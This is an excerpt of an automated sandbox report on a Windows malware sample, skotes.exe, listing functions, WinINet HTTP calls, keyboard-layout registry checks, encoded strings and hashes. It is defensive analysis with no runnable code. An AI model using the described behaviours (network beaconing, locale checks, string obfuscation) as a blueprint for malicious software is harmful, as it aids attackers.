Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35727fdf469501ede478764df8b759c8fcc37fa58b26dbd446fa2f5ec28b5d93
Instruction ID: 77656961ca0e57a858dac1def25873b9c5f763ba4e816f2dc6d4c91a600b6b76
Opcode Fuzzy Hash: 35727fdf469501ede478764df8b759c8fcc37fa58b26dbd446fa2f5ec28b5d93
Instruction Fuzzy Hash: 9C4156F3E146040BE3146D3CDCC4766BAC9EB94320F1A863DAB8DD77C9E87D49054285

Function 000F72BD Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5189e406d5e522b8b182ef6aba9d0f16d672fb81fb0e11d020d91a2ff4143493
Instruction ID: 6af9be12c22b393b77fc0697d963d0d13a1fba08080f88f41bcd83bac3f152ea
Opcode Fuzzy Hash: 5189e406d5e522b8b182ef6aba9d0f16d672fb81fb0e11d020d91a2ff4143493
Instruction Fuzzy Hash: CC419CF36083084FE3142E28EC9877AB7DAEBD4720F19453DEB8583784ED7969058106

Function 00092C33 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000001.1722767543.000000000007B000.00000040.00000001.01000000.00000007.sdmp, Offset: 0007B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_7b000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f66b5d2b8d889bf2ae53dbdd775ff7b6b550d9b5fa9c267f8f654f5ae953db54
Instruction ID: 3b1bf53d00de8178562d29c5c6fd6500893df97d9e13abd43a9e118422e26012
Opcode Fuzzy Hash: f66b5d2b8d889bf2ae53dbdd775ff7b6b550d9b5fa9c267f8f654f5ae953db54
Instruction Fuzzy Hash: EE41F3F3B192105BF3089919EC8576A7386EBD8320F2A853DAA88D73C0DD3D9C054299

Analysis Process: skotes.exePID: 4192, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2%
Total number of Nodes:	1861
Total number of Limit Nodes:	27

Executed Functions

Function 0001BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 0001BEB8
InternetOpenW.WININET(00068DC8,00000000,00000000,00000000,00000000), ref: 0001BEC7
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0001BEEB
HttpOpenRequestA.WININET(?,00000000), ref: 0001BF36
HttpSendRequestA.WININET(?,00000000), ref: 0001BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0001C0A7
InternetCloseHandle.WININET(?), ref: 0001C187
InternetCloseHandle.WININET(?), ref: 0001C18F
InternetCloseHandle.WININET(?), ref: 0001C197

Strings

stoi argument out of range, xrefs: 0001E4EA
invalid stoi argument, xrefs: 0001E4F4
RmNn, xrefs: 0001D606
8HJUeMD Lq5=, xrefs: 0001C465
8HJUeIfzLo==, xrefs: 0001C3CB, 0001C623
RE1NXF==, xrefs: 0001BF0E

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: bfe8a06084ec04dfb7c803c8a26e2c7f79e38aaaec928322c554196a4edbec7f
Instruction ID: 5cd773c052e07eabd8558dc4d19ca4ce0f2b0e9e4c1889373344c43d0959d6ec
Opcode Fuzzy Hash: bfe8a06084ec04dfb7c803c8a26e2c7f79e38aaaec928322c554196a4edbec7f
Instruction Fuzzy Hash: 6DB1D5B19002189BEB28CF28CC89BED7BA9EF45304F5481A9F509972D2D775DAC0CB95

Function 0002D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 000124BE

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: b5f17b0d8ad1e0c3c35f7c5dc1100206ede8f4ca65aff413e89eba5d6e8a4165
Instruction ID: 3f1d59a99346896cfad64d16917ee958177bf593badd04ef0df3ffd5bcad3265
Opcode Fuzzy Hash: b5f17b0d8ad1e0c3c35f7c5dc1100206ede8f4ca65aff413e89eba5d6e8a4165
Instruction Fuzzy Hash: F151CEB2D04716DBEB55CF58E8857AEB7F0FB48314F24852AD809EB251D378AD80CB90

Function 00023640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0002434F

Part of subcall function 00027A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00027AEC
Part of subcall function 00027A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00027AF8
Part of subcall function 00027A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00027B01

Strings

Vmc0, xrefs: 000255D7
9HQ0, xrefs: 000254E1
jS=, xrefs: 00026513
aWW0, xrefs: 0002555C
GE0, xrefs: 00025585
8WI0, xrefs: 00025692
stoi argument out of range, xrefs: 00022EF2, 00024359, 000243A0, 00024F9C
MGE+, xrefs: 00024866, 000248DD, 00024B85, 00024BFC
WGS0, xrefs: 00025533
5120, xrefs: 00023BAF, 00023C9A
9c9aa5, xrefs: 00025619
93E0, xrefs: 00025600
MGI+, xrefs: 000248AD, 000249DC, 00024BCC, 00024CFB
VXQ0, xrefs: 0002550A
WX f, xrefs: 00023BDE
WGpm, xrefs: 00023CC9
V2Te, xrefs: 00023EB0
KCWUOl==, xrefs: 00025649
Fw==, xrefs: 0002378E, 00024E1D
246122658369, xrefs: 00021F95, 000228DE, 00022B33, 00022BA0, 00022F78, 00023463, 000234C4, 0002502A, 0002503D, 0002507F, 00025089, 00025684
VXA0, xrefs: 000255AE
3I3eB==, xrefs: 00024802
Hykl, xrefs: 0002387F
", xrefs: 00023F89
9250, xrefs: 000254AD
invalid stoi argument, xrefs: 00021ED0, 00022ED9, 00022EE8, 0002434A, 00024F8D
anE0, xrefs: 0002566B
2I0, xrefs: 00025627

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-385961153
Opcode ID: 29a3fb998cbc882d807004f0f3a602f3afdad2a2fe815996bb6ef79de27a9d1e
Instruction ID: f66f2a6cb7d0d5ecef4a6a4702196ebad9ddd4937c041211a391c478d905fe9b
Opcode Fuzzy Hash: 29a3fb998cbc882d807004f0f3a602f3afdad2a2fe815996bb6ef79de27a9d1e
Instruction Fuzzy Hash: 1B523871A00268DBDF14EF78DC8A7DDBBB5AF45310F54818CE445A7283DB399B848B92

Function 000247B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00027A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00027AEC
Part of subcall function 00027A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00027AF8
Part of subcall function 00027A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00027B01

Part of subcall function 0001BE30: Sleep.KERNEL32(000005DC), ref: 0001BEB8
Part of subcall function 0001BE30: InternetOpenW.WININET(00068DC8,00000000,00000000,00000000,00000000), ref: 0001BEC7
Part of subcall function 0001BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0001BEEB
Part of subcall function 0001BE30: HttpOpenRequestA.WININET(?,00000000), ref: 0001BF36

std::_Xinvalid_argument.LIBCPMT ref: 00024F92

Strings

Vmc0, xrefs: 000255D7
MGI+, xrefs: 000248AD, 000249DC, 00024BCC, 00024CFB
9HQ0, xrefs: 000254E1
jS=, xrefs: 00026513, 000267E2
VXQ0, xrefs: 0002550A
KCWUOl==, xrefs: 00025649
Fw==, xrefs: 0002378E, 00024E1D
246122658369, xrefs: 0002502A, 0002503D, 0002507F, 00025089, 00025684
VXA0, xrefs: 000255AE
aWW0, xrefs: 0002555C
GE0, xrefs: 00025585
3I3eB==, xrefs: 00024802
8WI0, xrefs: 00025692
stoi argument out of range, xrefs: 00024359, 000243A0, 00024F9C
MGE+, xrefs: 00024866, 000248DD, 00024B85, 00024BFC
WGS0, xrefs: 00025533
9250, xrefs: 000254AD
9c9aa5, xrefs: 00025619
anE0, xrefs: 0002566B
93E0, xrefs: 00025600
2I0, xrefs: 00025627

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: 2ef750f8126f56894285340efe4e4a7aa80b6d68bfcae956582fbb9f07287510
Instruction ID: 2631e317a729010f0e3729ad4165dde576bb34c397761c1ab2a983a5d45cef49
Opcode Fuzzy Hash: 2ef750f8126f56894285340efe4e4a7aa80b6d68bfcae956582fbb9f07287510
Instruction Fuzzy Hash: 29230571E002648BEB19DB28DD897DDBB769B81304F5481D8E049AB2C7DB3A5FC48F91

Function 00022F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hykl, xrefs: 0002387F
stoi argument out of range, xrefs: 00024359
5120, xrefs: 00023BAF, 00023C9A
", xrefs: 00023F89
WTw=, xrefs: 00022F5E
WX f, xrefs: 00023BDE
WGpm, xrefs: 00023CC9
V2Te, xrefs: 00023EB0
invalid stoi argument, xrefs: 0002434A
Fw==, xrefs: 0002378E
246122658369, xrefs: 00022F78

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 6a62ae9633d0dc6ad7597b373628182c61853650986afec1d5056f6c1f9dba8b
Instruction ID: 515cfcf622e1909d81173b4aa962c784d953e54566f2108f0c6715dacb15f9fd
Opcode Fuzzy Hash: 6a62ae9633d0dc6ad7597b373628182c61853650986afec1d5056f6c1f9dba8b
Instruction Fuzzy Hash: C3723771A00258DBDF18EF78DC8A7DDBBB5AF45310F54819CE409A7283D7399B848B92

Function 00015EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00015F13

Strings

00000423, xrefs: 000160FA
Keyboard Layout\Preload, xrefs: 00016054
00000419, xrefs: 00016098
0000043f, xrefs: 0001612B
00000422, xrefs: 000160C9

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 08fbcb1e314001a8db1f39a78e612a6d913e761a9965866191ac4f6c20f1b98a
Instruction ID: fa2307d7c0465bd8f550b4017b10b24240821af98c2fbd29d90c53e8748e62fd
Opcode Fuzzy Hash: 08fbcb1e314001a8db1f39a78e612a6d913e761a9965866191ac4f6c20f1b98a
Instruction Fuzzy Hash: 66D1D0719002689BEB24DF64CC88BDEB7B9AF04300F5442D9E508E7292DB759BE48F95

Function 00017D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00017ED3

Strings

JjsrQV==, xrefs: 00018092
JjssPV==, xrefs: 000181E2
JjssOl==, xrefs: 0001813A
JjsrPl==, xrefs: 0001828A

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 80926598ef079a50395320db993e947f481b6286c0c7be558d90b98dd22fa108
Instruction ID: 289aeb1072c842cf63354ef32150a808d88f755396dbefb2eff30766300a5629
Opcode Fuzzy Hash: 80926598ef079a50395320db993e947f481b6286c0c7be558d90b98dd22fa108
Instruction Fuzzy Hash: A7E1C270E00654DBDB25AB289C4B7ED7AA1AB81720F94429CE4196B3C3DB395FC187C2

Function 0004D634 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58f1bbbc4b9d256fa5bc7b5b2f4cce5a6d6e4dedc98158fe28eb4ca76e2bea0b
Instruction ID: e64b24e8475f2d0cbd1417181afdf09ed283f09e017e379cc516f8b9f4b96006
Opcode Fuzzy Hash: 58f1bbbc4b9d256fa5bc7b5b2f4cce5a6d6e4dedc98158fe28eb4ca76e2bea0b
Instruction Fuzzy Hash: 616104B2D012148BDF65AFA8D8856EDB7F0EF16310F25403BE849AB251EA319C00CB69

Function 00018380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00018524

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 3816ee6f48e9b82c06737791d1cfba63439919cfdeec730a4c504425a6212bf3
Instruction ID: fae1c29e5399d63e79785b1c7c81d912c1971f4aa935591a85a1db9902922b78
Opcode Fuzzy Hash: 3816ee6f48e9b82c06737791d1cfba63439919cfdeec730a4c504425a6212bf3
Instruction Fuzzy Hash: 0D512B70D006189BEB24EF68CD89BDDB775DB45314F5082A9E419A72C2EF349FC48B91

Function 0004D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,0004A72D,?,00000000,?,00046D2C,00017883,9FB95145,00017883), ref: 0004D871

Memory Dump Source

Source File: 00000006.00000002.3014838891.0000000000011000.00000040.00000001.01000000.00000007.sdmp, Offset: 00010000, based on PE: true

Associated: 00000006.00000002.3014500795.0000000000010000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3014838891.0000000000072000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3016541163.0000000000079000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000007B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.00000000002F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.0000000000322000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000032C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3017687341.000000000033A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3024325948.000000000033B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025209355.00000000004E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3025318301.00000000004EB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 71d6a5730eb77f0c59f3c1d3540e70483fc8a95ccdd73bcf0decac8ffd15b859
Instruction ID: ed7cac2a4023c8dc147807ef556caafce4598cd58d0da52fbdb8a0557b8e9597
Opcode Fuzzy Hash: 71d6a5730eb77f0c59f3c1d3540e70483fc8a95ccdd73bcf0decac8ffd15b859
Instruction Fuzzy Hash: 26F0E9B150162566EB713A729C01BBB3798DF55370B14803BEC08A7182DF20DC0086E8

Function 0004B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

